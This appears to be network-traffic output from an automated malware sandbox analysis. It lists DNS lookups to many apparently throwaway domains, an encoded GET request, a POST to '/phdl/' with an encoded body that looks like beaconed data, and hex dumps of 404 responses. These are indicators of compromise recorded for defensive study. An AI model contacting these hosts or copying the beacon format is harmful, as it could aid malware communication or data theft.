Source: global traffic	HTTP traffic detected: GET /8xob/?76=A14vC586VW4zZwTD5W+icFgZA3/gFFWkfN+k13nedPAvAgeoNHQOmzzfD2mClB7mOSU9pQTtzUjUfjrPrdgjVCIgZM4LbXLF8ymXXAVuMS/ObX4kzH9c4ewBdY7tnGrMOo/XDCkVFvSq&mtJD_=fvdlJ2L HTTP/1.1Host: www.bodegamayorista.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11

Source: global traffic	DNS traffic detected: DNS query: www.kovallo.cloud
Source: global traffic	DNS traffic detected: DNS query: www.tempatmudisini01.click
Source: global traffic	DNS traffic detected: DNS query: www.zz82x.top
Source: global traffic	DNS traffic detected: DNS query: www.rtpngk.xyz
Source: global traffic	DNS traffic detected: DNS query: www.bluegirls.blog
Source: global traffic	DNS traffic detected: DNS query: www.mistsui.top
Source: global traffic	DNS traffic detected: DNS query: www.solisbysobha.net
Source: global traffic	DNS traffic detected: DNS query: www.sppsuperplast.online
Source: global traffic	DNS traffic detected: DNS query: www.deefbank.net
Source: global traffic	DNS traffic detected: DNS query: www.shopdj00.xyz
Source: global traffic	DNS traffic detected: DNS query: www.donante-de-ovulos.biz
Source: global traffic	DNS traffic detected: DNS query: www.chalet-tofane.net
Source: global traffic	DNS traffic detected: DNS query: www.greekhause.org
Source: global traffic	DNS traffic detected: DNS query: www.085bet.xyz
Source: global traffic	DNS traffic detected: DNS query: www.2024tengxun361.buzz
Source: global traffic	DNS traffic detected: DNS query: www.bodegamayorista.online

Source: unknown

HTTP traffic detected: POST /phdl/ HTTP/1.1Host: www.tempatmudisini01.clickAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.tempatmudisini01.clickContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Content-Length: 215Connection: closeReferer: http://www.tempatmudisini01.click/phdl/User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11Data Raw: 37 36 3d 63 59 30 74 50 74 6e 51 4a 2b 2f 32 5a 62 4b 45 36 59 49 32 62 46 4b 38 55 44 69 68 53 69 38 38 37 4b 6e 71 63 59 2f 77 63 36 78 67 73 48 38 36 6e 6e 67 77 30 77 6e 30 77 6c 7a 58 6d 32 39 44 71 42 42 55 75 66 57 43 78 75 6e 43 2f 34 6f 73 45 4c 4f 57 67 64 51 53 34 47 59 65 79 67 30 58 49 6a 41 4c 34 71 72 6f 67 75 4b 52 50 55 4c 64 73 57 6b 66 41 38 36 30 72 59 32 54 73 43 71 67 2b 65 32 36 53 61 62 4a 43 2f 6e 52 45 4a 32 39 32 33 67 30 76 6a 55 37 68 59 6e 6a 50 30 33 59 56 6a 6d 2b 63 71 42 38 6f 53 48 62 68 70 30 77 4d 72 55 6b 79 68 77 4f 49 58 74 46 64 75 43 6e 2f 6d 79 78 38 71 68 7a 64 67 69 66 50 55 4e 4e 41 67 3d 3d Data Ascii: 76=cY0tPtnQJ+/2ZbKE6YI2bFK8UDihSi887KnqcY/wc6xgsH86nngw0wn0wlzXm29DqBBUufWCxunC/4osELOWgdQS4GYeyg0XIjAL4qroguKRPULdsWkfA860rY2TsCqg+e26SabJC/nREJ2923g0vjU7hYnjP03YVjm+cqB8oSHbhp0wMrUkyhwOIXtFduCn/myx8qhzdgifPUNNAg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:36:57 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33x-litespeed-tag: 894_HTTP.404expires: Wed, 11 Jan 1984 05:00:00 GMTcontent-type: text/html; charset=UTF-8link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/"x-litespeed-cache-control: no-cachecache-control: no-cache, no-store, must-revalidate, max-age=0transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Mon, 23 Sep 2024 12:37:14 GMTserver: LiteSpeedData Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 b1 4f 76 84 f6 b0 a2 3b 25 f5 33 38 54 d5 ac d1 9e 9e 85 fd 5a 42 7d 9c ed cb c1 0a 07 12 a1 c2 17 41 78 3d d2 5a 04 69 74 c6 73 07 f2 d2 b0 73 b7 6d c1 6f 88 cd c0 8d 65 b0 7f ef 59 8b d8 64 84 ae a3 ec 67 d3 75 a8 83 27 50 0a a2 46 69 ca ef 14 a1 c7 2e 3a 3f fd db f8 34 58 ec cc 57 f9 1e 43 90 fa e0 a1 82 91 ec 85 c7 8f 4e 91 32 92 e3 3e 64 0f 99 67 03 33 ee f0 b0 2a 4d b7 87 ac 36 0e 1f 32 04 2f e3 43 96 2f 19 67 f3 87 6c 5d 9c d7 c5 43 46 52 82 e7 40 4a 72 fa 8b e7 43 4a fc e9 80 33 eb 4f 87 8f 36 7f 3a fc fa fd 2e 7f ba 24 d3 bb 1a 49 39 92 da e8 5a 84 a0 82 66 88 c2 22 97 67 3e 64 83 a5 15 40 ee 21 fb ea 67 42 bc 77 9c 3a 54 28 3c b2 4e 6a f6 d5 7f 7f 42 57 ad d8 8a 15 e4 7a dd 46 d9 cb 9b 7d 36 9c 5c 2b 15 82 f4 20 fa 60 e8 be 01 e6 c6 06 5e 66 d1 cd ca 3f 97 1b cb 54 27 e3 49 38 30 a9 4f 71 bb ac 3b d4 31 26 63 70 97 e5 ad a1 1a f7 6b b8 d0 07 f4 c1 97 98 b6 22 e9 b2 ae 6e 4c d8 61 f0 fe 14 5e b7 71 72 dd 7a f4 5e 1a fd 3e 18 27 0e c8 3c 86 3f 03 76 b1 49 ff 7a ff fa 3f cc 07 27 f5 41 b6 97 38 24 c9 b5 52 6e 1d af 57 12 7e 5e 1b 63 1a 52 9d 8c c8 f6 4e 7d 2d de 61 1d 62 9e f2 14 59 2d f4 49 78 56 5f a8 59 72 d7 96 d7 2a 49 91 b5 52 a9 0f 78 0e 71 48 79 ca 93 6d 22 de a0 35 0e f0 51 ea 30 2f 7e 74 4e 5c 62 64 Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33x-litespeed-tag: 894_HTTP.404expires: Wed, 11 Jan 1984 05:00:00 GMTcontent-type: text/html; charset=UTF-8link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/"x-litespeed-cache-control: no-cachecache-control: no-cache, no-store, must-revalidate, max-age=0transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Mon, 23 Sep 2024 12:37:16 GMTserver: LiteSpeedData Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 b1 4f 76 84 f6 b0 a2 3b 25 f5 33 38 54 d5 ac d1 9e 9e 85 fd 5a 42 7d 9c ed cb c1 0a 07 12 a1 c2 17 41 78 3d d2 5a 04 69 74 c6 73 07 f2 d2 b0 73 b7 6d c1 6f 88 cd c0 8d 65 b0 7f ef 59 8b d8 64 84 ae a3 ec 67 d3 75 a8 83 27 50 0a a2 46 69 ca ef 14 a1 c7 2e 3a 3f fd db f8 34 58 ec cc 57 f9 1e 43 90 fa e0 a1 82 91 ec 85 c7 8f 4e 91 32 92 e3 3e 64 0f 99 67 03 33 ee f0 b0 2a 4d b7 87 ac 36 0e 1f 32 04 2f e3 43 96 2f 19 67 f3 87 6c 5d 9c d7 c5 43 46 52 82 e7 40 4a 72 fa 8b e7 43 4a fc e9 80 33 eb 4f 87 8f 36 7f 3a fc fa fd 2e 7f ba 24 d3 bb 1a 49 39 92 da e8 5a 84 a0 82 66 88 c2 22 97 67 3e 64 83 a5 15 40 ee 21 fb ea 67 42 bc 77 9c 3a 54 28 3c b2 4e 6a f6 d5 7f 7f 42 57 ad d8 8a 15 e4 7a dd 46 d9 cb 9b 7d 36 9c 5c 2b 15 82 f4 20 fa 60 e8 be 01 e6 c6 06 5e 66 d1 cd ca 3f 97 1b cb 54 27 e3 49 38 30 a9 4f 71 bb ac 3b d4 31 26 63 70 97 e5 ad a1 1a f7 6b b8 d0 07 f4 c1 97 98 b6 22 e9 b2 ae 6e 4c d8 61 f0 fe 14 5e b7 71 72 dd 7a f4 5e 1a fd 3e 18 27 0e c8 3c 86 3f 03 76 b1 49 ff 7a ff fa 3f cc 07 27 f5 41 b6 97 38 24 c9 b5 52 6e 1d af 57 12 7e 5e 1b 63 1a 52 9d 8c c8 f6 4e 7d 2d de 61 1d 62 9e f2 14 59 2d f4 49 78 56 5f a8 59 72 d7 96 d7 2a 49 91 b5 52 a9 0f 78 0e 71 48 79 ca 93 6d 22 de a0 35 0e f0 51 ea 30 2f 7e 74 4e 5c 62 64 Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33x-litespeed-tag: 894_HTTP.404expires: Wed, 11 Jan 1984 05:00:00 GMTcontent-type: text/html; charset=UTF-8link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/"x-litespeed-cache-control: no-cachecache-control: no-cache, no-store, must-revalidate, max-age=0content-length: 11547content-encoding: brvary: Accept-Encodingdate: Mon, 23 Sep 2024 12:37:19 GMTserver: LiteSpeedData Raw: e2 af 3b 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 b1 4f 76 84 f6 b0 a2 3b 25 f5 33 38 54 d5 ac d1 9e 9e 85 fd 5a 42 7d 9c ed cb c1 0a 07 12 a1 c2 17 41 78 3d d2 5a 04 69 74 c6 73 07 f2 d2 b0 73 b7 6d c1 6f 88 cd c0 8d 65 b0 7f ef 59 8b d8 64 84 ae a3 ec 67 d3 75 a8 83 27 50 0a a2 46 69 ca ef 14 a1 c7 2e 3a 3f fd db f8 34 58 ec cc 57 f9 1e 43 90 fa e0 a1 82 91 ec 85 c7 8f 4e 91 32 92 e3 3e 64 0f 99 67 03 33 ee f0 b0 2a 4d b7 87 ac 36 0e 1f 32 04 2f e3 43 96 2f 19 67 f3 87 6c 5d 9c d7 c5 43 46 52 82 e7 40 4a 72 fa 8b e7 43 4a fc e9 80 33 eb 4f 87 8f 36 7f 3a fc fa fd 2e 7f ba 24 d3 bb 1a 49 39 92 da e8 5a 84 a0 82 66 88 c2 22 97 67 3e 64 83 a5 15 40 ee 21 fb ea 67 42 bc 77 9c 3a 54 28 3c b2 4e 6a f6 d5 7f 7f 42 57 ad d8 8a 15 e4 7a dd 46 d9 cb 9b 7d 36 9c 5c 2b 15 82 f4 20 fa 60 e8 be 01 e6 c6 06 5e 66 d1 cd ca 3f 97 1b cb 54 27 e3 49 38 30 a9 4f 71 bb ac 3b d4 31 26 63 70 97 e5 ad a1 1a f7 6b b8 d0 07 f4 c1 97 98 b6 22 e9 b2 ae 6e 4c d8 61 f0 fe 14 5e b7 71 72 dd 7a f4 5e 1a fd 3e 18 27 0e c8 3c 86 3f 03 76 b1 49 ff 7a ff fa 3f cc 07 27 f5 41 b6 97 38 24 c9 b5 52 6e 1d af 57 12 7e 5e 1b 63 1a 52 9d 8c c8 f6 4e 7d 2d de 61 1d 62 9e f2 14 59 2d f4 49 78 56 5f a8 59 72 d7 96 d7 2a 49 91 b5 52 a9 0f 78 0e 71 48 79 ca 93 6d 22 de a0 35 0e f0 51 ea 30 2f 7e 74 4e 5c 62 64 07 0c 7f 76 e2 80 bf 88 20 d0 3f Data Ascii: ;QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:37:27 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:37:30 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:37:33 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
